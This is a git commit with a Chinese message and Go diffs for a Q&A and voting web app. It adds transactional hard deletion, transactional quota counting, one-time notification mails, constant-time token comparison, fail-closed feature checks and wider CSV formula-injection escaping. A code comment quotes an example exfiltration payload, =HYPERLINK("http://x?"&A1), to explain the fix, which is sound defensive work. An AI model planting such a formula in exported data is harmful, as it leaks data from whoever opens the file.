fix(data): 删除改成一个事务且真删、配额与内容同事务

四类问题都出在「多次独立写入 + 失败只打日志」这个模式上。

1) 删除投票的级联没有事务（route/user/vote.go）
   选项 / 表单字段 / 提交记录 / 投票本体是 4 次独立写入，前 3 步失败只 Warn。
   中途失败会留下「选项没了但票还在」这种界面无法修复的状态 —— 重试删除时
   投票已不存在，只能报 not exist，脏数据永远留着。
   → db.Votes.DeleteWithCascade：四张表在同一事务里删完。

2) 删除其实是软删除，个人数据没真删掉
   模型都嵌了 dbutil.Model（含 DeletedAt），原来所有 Delete 都是软删：
   提交记录里参与者填写的文本、voter_ip、voter_token，以及提问里的 FromIP，
   只是「界面上看不见」，库里永久留着。用户点删除的预期不是这样。
   软删还会占住 link_token 唯一索引，删过的链接永远不能复用。
   → 删除投票与删除提问统一 Unscoped 真删；提问的追问/图片关联/配额回退
     原来也是三个独立写入（失败只 Warn），一并收进事务。

3) 配额计数会永久偏低
   「创建内容」与「quota_count+1」是两次写入，后者失败只 Warn：
   箱主看到的「已收集 7/10」偏小，达到上限后因为计数偏小实际还能继续收，
   等于定量收集被静默绕过；重置计数也校准不回来（重置是把计数清零，更脱节）。
   → 抽出 incrementQuotaTx(tx, userID, feature, delta) 作为唯一实现，
     提问 Questions.Create、私聊 CreateWithFirstMessage、投票提交
     VoteSubmissions.Create（新增 QuotaUserID）都在自己的事务里完成 +1。
   注意口径：投票的定量收集是「累计收到的票数」（提交成功时 +1），
   不是「创建了几个投票」—— 所以删除投票不回退这个计数。

4) 改写追问回答每次都发通知邮件
   箱主改措辞、补一句、修错别字都会重新保存，每次都发的话提问者会连着收到
   好几封一模一样的「您的提问有回复」。主回答那边早有 question.Answer == ""
   的判定，追问这里补齐：UpdateAnswerByID 在事务内读旧值返回 wasFirst。

顺带：
- isQuestioner 的 token 比较从 == 改为 subtle.ConstantTimeCompare，
  与 Pager 中间件里的校验同口径（== 按字节短路，可用响应时间逐字节试探）。
- CSV 导出的表头（字段名）与选项内容列补 sanitizeCSVCell。原来只有数据列走它，
  而选项名同样可能是 =HYPERLINK(...) 形式；判断也改成看 trim 后的首字符。
- 写路径的功能开关改 fail-closed：新增 db.FeatureStateOfStrict，读配置失败时
  拒绝而不是回退默认配置 —— 提问/投票的默认值是「开启」，fail-open 等于让一次
  数据库抖动绕过箱主设的关闭与定量上限。读展示仍用宽松版。

验证：全量单测（带 DB）与 go build ./... 通过；verify_round3 6/6（私聊
message_count 与实际消息数一致）、verify_p1 4/4、verify_round2 19/19、
verify_page_next 6/6、verify_chat_owner 3/3。

route/question/follow_up.go

@@ -2,6 +2,7 @@ package question
 
 import (
 	stdctx "context"
+	"crypto/subtle"
 	"fmt"
 	"unicode/utf8"
 
@@ -21,7 +22,11 @@ import (
 // isQuestioner 判断当前请求者是否为该提问的提问者。
 // 匿名提问者通过 token（URL 或表单隐藏域）验证；登录提问者通过账号 ID 验证。
 func isQuestioner(ctx context.Context, question *db.Question, token string) bool {
-	if question.Token != "" && question.Token == token {
+	// 常数时间比较：与 Pager 中间件里的校验（route/question/question.go）同一口径。
+	// 用 == 会按字节短路，攻击者能靠响应时间逐字节试探出 token ——
+	// 而 token 就是「私密提问 / 尚未回答的提问」唯一的钥匙。
+	if question.Token != "" && token != "" &&
+		subtle.ConstantTimeCompare([]byte(question.Token), []byte(token)) == 1 {
 		return true
 	}
 	if ctx.IsLogged && question.AskerUserID != 0 && ctx.User.ID == question.AskerUserID {
@@ -192,7 +197,8 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
 		return
 	}
 
-	if err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer); err != nil {
+	wasFirst, err := db.FollowUps.UpdateAnswerByID(ctx.Request().Context(), question.ID, followUpID, f.Answer)
+	if err != nil {
 		if errors.Is(err, db.ErrFollowUpNotFound) {
 			// 同请求渲染需用 SetError（SetErrorFlash 要等下一次请求才显示）。
 			ctx.SetError(errors.New(i18n.T(ctx.Lang(), "followup.errNotFound")), f)
@@ -205,9 +211,13 @@ func AnswerFollowUp(ctx context.Context, pageUser *db.User, question *db.Questio
 		return
 	}
 
-	// 邮件通知提问者（留下邮箱时）：复用"您的提问有了回复"模板，带 token 链接
+	// 邮件通知提问者（留下邮箱时）：复用"您的提问有了回复"模板，带 token 链接。
+	//
+	// 只在**首次**回答时发：箱主改一次措辞、补一句、修错别字都会重新保存，
+	// 每次都发的话提问者会连着收到好几封一模一样的「您的提问有回复」。
+	// 主回答那边早就有同样的判定（question.Answer == ""），这里补齐。
 	shared.SafeGo(func() {
-		if question.ReceiveReplyEmail != "" {
+		if wasFirst && question.ReceiveReplyEmail != "" {
 			if err := mail.SendNewAnswerMail(question.ReceiveReplyEmail, pageUser.Domain, question.ID, question.Content, f.Answer, question.Token); err != nil {
 				logrus.WithContext(stdctx.Background()).WithError(err).Error("Failed to send follow up answer mail to questioner")
 			}

route/question/page.go

@@ -388,7 +388,15 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
 	// 提问功能开关 / 定时 / 定量：任一条件不满足即拒绝普通提问（纵深防御，页面入口已隐藏表单）。
 	// 私聊请求不受影响：提问与私聊是相互独立的功能，提问关闭不应阻断已开启的私聊。
 	isChatRequest := f.StartChat == "true" && ctx.IsLogged
-	askState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
+	// 用严格版：读配置失败时拒绝而不是回退默认「开启」，
+	// 否则箱主设的关闭 / 已达上限只要赶上一次数据库抖动就被绕过。
+	askState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion)
+	if err != nil {
+		// 同请求渲染：这里用户刚写完正文，不能因为一次读配置失败就把内容丢掉。
+		ctx.SetInternalError(f)
+		ctx.Success("question/list")
+		return
+	}
 	if !askState.Open && !isChatRequest {
 		lang := i18n.Default
 		if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -419,8 +427,13 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
 			return
 		}
 
-		// 私聊功能开关 / 定时 / 定量
-		chatState := db.FeatureStateOf(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
+		// 私聊功能开关 / 定时 / 定量（严格版，理由同上）
+		chatState, err := db.FeatureStateOfStrict(ctx.Request().Context(), pageUser.ID, db.FeatureChat)
+		if err != nil {
+			ctx.SetInternalError(f)
+			ctx.Success("question/list")
+			return
+		}
 		if !chatState.Open {
 			lang := i18n.Default
 			if l, ok := ctx.Data["Lang"].(string); ok && l != "" {
@@ -540,11 +553,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
 			return
 		}
 
-		// 私聊定量收集：新建会话即计一条（后续往来消息不重复计数）
-		if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureChat, 1); err != nil {
-			logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment chat quota")
-		}
-
 		// 请求态数据提前提取，避免 goroutine 在请求结束后访问 ctx.User
 		askerName := ctx.User.Name
 		askerEmail := ctx.User.Email
@@ -670,11 +678,6 @@ func New(ctx context.Context, f form.NewQuestion, pageUser *db.User, recaptcha r
 		return
 	}
 
-	// 提问定量收集：一条提问计一次（含私密提问）；追问不重复计数
-	if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), pageUser.ID, db.FeatureQuestion, 1); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment question quota")
-	}
-
 	if len(f.Images) > 0 {
 		image := f.Images[0]
 		if err := uploadImage(ctx, uploadImageOptions{

route/user/vote.go

@@ -1060,6 +1060,8 @@ func VoteClose(ctx context.Context) {
 }
 
 // VoteDelete 删除投票（级联删除选项、表单字段与提交记录）。
+//
+// 实际删除动作全部在 db.Votes.DeleteWithCascade 的一个事务里完成，且是真删（Unscoped）。
 func VoteDelete(ctx context.Context) {
 	vote, err := getOwnedVote(ctx, ctx.Param("voteID"))
 	if err != nil {
@@ -1068,24 +1070,24 @@ func VoteDelete(ctx context.Context) {
 		return
 	}
 
-	if err := db.VoteOptions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote options")
-	}
-	if err := db.VoteFormFields.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote form fields")
-	}
-	if err := db.VoteSubmissions.DeleteByVoteID(ctx.Request().Context(), vote.ID); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote submissions")
-	}
-	// 投票已删除：失效其结果缓存（即便竞态下仍能命中也已无意义）。
-	votepkg.InvalidateResultsCache(vote.ID)
-	if err := db.Votes.DeleteByID(ctx.Request().Context(), vote.ID); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote")
+	// 级联删除必须是一个事务：原来四步独立写入、前三步失败只打 Warn，
+	// 中途失败会留下「选项没了但投票记录还在」这种界面无法修复的状态 ——
+	// 而重试删除时投票已不存在，只能报 not exist，脏数据永远留着。
+	//
+	// 顺带修掉一个隐私问题：这些表都带软删除，原来的 Delete 全是软删，
+	// 提交记录里参与者填写的文本、voter_ip、voter_token 只是「界面上看不到」，
+	// 库里永久留着。DeleteWithCascade 对四张表统一走 Unscoped 真删。
+	if err := db.Votes.DeleteWithCascade(ctx.Request().Context(), vote.ID); err != nil {
+		logrus.WithContext(ctx.Request().Context()).WithError(err).Error("Failed to delete vote with cascade")
 		ctx.SetInternalErrorFlash()
 		ctx.Redirect("/user/questions#votes")
 		return
 	}
 
+	// 删除成功后再失效缓存。放在事务之后是有意的：
+	// 若先删缓存而事务回滚，读请求会立刻重新算一遍并再次填进旧值。
+	votepkg.InvalidateResultsCache(vote.ID)
+
 	ctx.SetSuccessFlash(i18n.T(ctx.Lang(), "vote.flash.deleted"))
 	ctx.Redirect("/user/questions#votes")
 }
@@ -1206,13 +1208,21 @@ func VoteResults(ctx context.Context) {
 	ctx.Success("user/vote-results")
 }
 
-// sanitizeCSVCell 防止 CSV 公式注入：以 = + - @ 开头的单元格会被 Excel/Numbers
-// 当作公式执行，前置单引号强制按纯文本处理。
+// sanitizeCSVCell 防 CSV 公式注入。
+//
+// Excel / LibreOffice / WPS 会把以 = + - @ 开头的单元格当公式执行，
+// 于是「选项名」或「参与者填的文本」里写 =HYPERLINK("http://x?"&A1) 就能在
+// 打开导出文件的人机器上把邻列内容外带出去。前置单引号会让它变成纯文本
+// （CSV 里单引号不会显示出来，Excel 读到也不当公式）。
+//
+// 判断用 trim 后的首字符：带前导空格/制表符的 =SUM(1) 在部分表格软件里
+// 仍会被解析成公式，只看第一个字节会漏。
 func sanitizeCSVCell(s string) string {
-	if s == "" {
+	trimmed := strings.TrimLeft(s, " \t\r\n")
+	if trimmed == "" {
 		return s
 	}
-	r := []rune(s)[0]
+	r := []rune(trimmed)[0]
 	if r == '=' || r == '+' || r == '-' || r == '@' {
 		return "'" + s
 	}
@@ -1261,9 +1271,10 @@ func VoteExportCSV(ctx context.Context) {
 
 	if vote.Type == db.VoteTypeForm {
 		fields, _ := db.VoteFormFields.ListByVoteID(ctx.Request().Context(), vote.ID)
+		// 字段名是箱主自己填的，同样可能是 =HYPERLINK(...) 形式。
 		header := []string{"提交时间"}
 		for _, f := range fields {
-			header = append(header, f.Label)
+			header = append(header, sanitizeCSVCell(f.Label))
 		}
 		_ = w.Write(header)
 
@@ -1288,7 +1299,7 @@ func VoteExportCSV(ctx context.Context) {
 		switch res.Type {
 		case db.VoteTypeSingle, db.VoteTypeMultiple:
 			for _, o := range res.Options {
-				_ = w.Write([]string{o.Option.Content, strconv.FormatInt(o.Count, 10)})
+				_ = w.Write([]string{sanitizeCSVCell(o.Option.Content), strconv.FormatInt(o.Count, 10)})
 			}
 		case db.VoteTypeRating:
 			for _, r := range res.Ratings {
@@ -1297,7 +1308,7 @@ func VoteExportCSV(ctx context.Context) {
 			_ = w.Write([]string{"平均分", fmt.Sprintf("%.2f", res.AvgRating)})
 		case db.VoteTypeRank:
 			for _, r := range res.Rankings {
-				_ = w.Write([]string{r.Option.Content, fmt.Sprintf("%.2f", r.AvgRank)})
+				_ = w.Write([]string{sanitizeCSVCell(r.Option.Content), fmt.Sprintf("%.2f", r.AvgRank)})
 			}
 			_ = w.Write([]string{"平均排名", fmt.Sprintf("%.2f", res.AvgRank)})
 		}

route/vote/vote.go

@@ -617,7 +617,14 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
 	lang := ctxLang(ctx)
 
 	// 箱主关闭投票功能（开关 / 定时 / 定量）时拒绝参与，避免绕过页面上的禁用态直接 POST。
-	if voteState := db.FeatureStateOf(ctx.Request().Context(), vote.UserID, db.FeatureVote); !voteState.Open {
+	// 严格版：读配置失败时拒绝，避免「箱主已关闭投票 / 已达上限」被一次配置读失败绕过去。
+	voteState, err := db.FeatureStateOfStrict(ctx.Request().Context(), vote.UserID, db.FeatureVote)
+	if err != nil {
+		ctx.SetErrorFlash(i18n.T(lang, "feature.stateUnavailable"))
+		ctx.Redirect("/vote/" + vote.LinkToken)
+		return
+	}
+	if !voteState.Open {
 		ctx.SetErrorFlash(i18n.FeatureClosedMessage(lang, db.FeatureVote, voteState.Reason))
 		ctx.Redirect("/vote/" + vote.LinkToken)
 		return
@@ -711,6 +718,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
 	}
 	submission.VoterToken = voterToken
 
+	// QuotaUserID 让「票数计入箱主的定量收集」与提交本身落在同一个事务里。
+	submission.QuotaUserID = vote.UserID
 	if _, err := db.VoteSubmissions.Create(ctx.Request().Context(), *submission); err != nil {
 		if errors.Is(err, db.ErrVoteAlreadyVoted) {
 			ctx.SetErrorFlash(i18n.T(lang, "vote.page.alreadyVoted"))
@@ -728,10 +737,8 @@ func Submit(ctx context.Context, recaptcha recaptcha.RecaptchaV3) {
 	// 用 InvalidateResultsCache 会让每一票都变成下一个读请求的同步全量重算（O(N²)）。
 	ExpireResultsCache(vote.ID)
 
-	// 定量收集：箱主级累计一份；单份投票设置上限后达到即自动结束该投票。
-	if err := db.FeatureControls.IncrementQuota(ctx.Request().Context(), vote.UserID, db.FeatureVote, 1); err != nil {
-		logrus.WithContext(ctx.Request().Context()).WithError(err).Warn("Failed to increment vote feature quota")
-	}
+	// 单份投票的份数上限：达到即自动结束该投票。
+	// （箱主级的累计计数已由 VoteSubmissions.Create 在同一事务里 +1，这里不再重复）
 	if vote.QuotaLimit > 0 {
 		count, err := db.VoteSubmissions.CountByVoteID(ctx.Request().Context(), vote.ID)
 		if err != nil {